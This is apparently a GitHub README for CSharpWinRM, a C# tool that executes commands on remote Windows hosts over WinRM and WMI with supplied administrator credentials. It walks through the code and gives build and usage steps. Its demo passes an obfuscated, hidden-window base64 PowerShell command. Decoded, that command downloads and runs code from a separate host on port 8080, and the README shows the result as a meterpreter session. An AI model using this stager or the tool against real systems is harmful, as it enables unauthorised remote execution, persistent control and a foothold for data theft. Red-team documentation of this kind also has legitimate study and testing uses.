/CSharpWinRM

.NET 4.0 WinRM API Command Execution

Primary LanguageC#MIT LicenseMIT

CSharpWinRM

CsharpWinRM is a .NET 4.0 implementation of WinRM using the WinRM C++ API. This project takes in credentials and a command, then executes it on the remote host using Win32_Process.

Explanation

After looking into how the Win32_Process method in WMI is used to execute remote commands, I threw this together:

public static void Main()
{
    String command = "powershell.exe -nop -w hidden -e <snip>";
    String Target = "10.10.11.115";

    ConnectionOptions options = new ConnectionOptions();
    options.Username = "water.tribe\\Administrator";
    options.Password = "Password123!";

    String Scope = String.Format("\\\\{0}\\root\\cimv2", Target);

    Console.WriteLine("Scope:" + Scope);

    ManagementScope managementScope = new ManagementScope(Scope,options);

    managementScope.Connect();
    ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath("Win32_Process"),new ObjectGetOptions());
    object[] process = { command };
    object result = managementClass.InvokeMethod("Create", process);
    Console.WriteLine(result);
}

Which is cool. So, I moved onto looking at how WinRM can be used in C#. Browsing through StackOverflow, people were typically doing this with PowerShell Runspaces. Except for one mad-lad who was using the WinAPI. I then rabbit-holed for an evening on this, which produces this project.

The DLL in use here is the wsmauto.dll. Referencing this DLL allows access to a bunch of WSMan methods.

All the heavy lifting is done by the IWSManSession interface, this gave access to two important methods:

The Identify() method is used to determine if the remote host is going to allow access, its used like so:

xmlIdentifyResponse.LoadXml(wsmanSession.Identify());

Where xmlIdentifyResponse is just an XmlDocument. If its possible, an XML response is returned:

<wsmid:IdentifyResponse xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xml:lang="">
    <wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion>
    <wsmid:ProductVendor>Microsoft Corporation</wsmid:ProductVendor>
    <wsmid:ProductVersion>OS: 6.3.9600 SP: 0.0 Stack: 3.0</wsmid:ProductVersion>
    <wsmid:SecurityProfiles>
        <wsmid:SecurityProfileName>http://schemas.dmtf.org/wbem/wsman/1/wsman/secprofile/http/spnego-kerberos</wsmid:SecurityProfileName>
    </wsmid:SecurityProfiles>
</wsmid:IdentifyResponse>

With that, most of the mind-melting was done by trying to determine the actionUri, and the resourceUri as seen in the IWSManSession::Invoke documentation. Until starting this project, I did not know that WinRM uses WMI under-the-hood, so I was soon able to link up WIn32_Process to create the process as seen in the WMI example at the start.

The following PowerShell command sheds some light on the resourceUri:

winrm help uris

This became:

string resourceURI = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process";

Finally, the actual payload. Originally, I was building the XML in one big String.Format, this would not respect anything after a space. So I could only run cmd.exe or something. But, thanks to this chap, I was able to get around that with a StringBuilder:

StringBuilder parameters = new StringBuilder();
parameters.Append("<p:Create_INPUT ");
parameters.Append("xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process\">");
parameters.Append("<p:CommandLine>" + Command + "</p:CommandLine>");
parameters.Append("</p:Create_INPUT>");

This is all then put together, and invoked:

String responseFromInvoke = wsmanSession.Invoke("Create", resourceURI, parameters.ToString(), 0);

Create being the Win32_Process method.

Demo

I'll preface this with:

It works for me.

Example command:

.\CSharpWinRM.exe 10.10.11.115 water.tribe administrator Password123! "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABOAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAE4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABOAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAvADgAMgBkAHIAWgBoADcATAA1AEsAYQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAnACkAKQA7AA=="

On execution, if successful, it should look something like this:

meterpreter

If the ReturnValue is 0, then all is well. It will also give the ProcessId:

PS C:\Users\Administrator> Get-Process -Pid 1344

Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName
-------  ------    -----      ----- -----   ------     -- -----------
    413      32    69676      71440   599     0.58   1344 powershell

The error codes can be seen here.

Usage

[*] Usage: .\CSharpWinRM.exe <Target> [Domain] [Username] [Password] <Command>
[*] Example 1: .\CSharpWinRM.exe 192.168.0.1 DomainName Administrator Password123! "powershell.exe -e blah"
[*] Example 2: .\CSharpWinRM.exe 192.168.0.1 "powershell.exe -e blah"

Once built, merge with:

.\ILMerge.exe /out:.\CSharpWinRM_merged.exe .\CSharpWinRM.exe .\Interop.WSManAutomation.dll

If, for whatever reason, the dll isnt available; its in:

CSharpWinRM/CSharpWinRM/lib/WsmAuto.dll

References

  1. C# WSManSession Examples
  2. IWSManSession
  3. IWSManSession::Identify
  4. Windows Remote Management and WMI
  5. Using Remote Powershell/WinRM within C#/ASP.NET RRS feed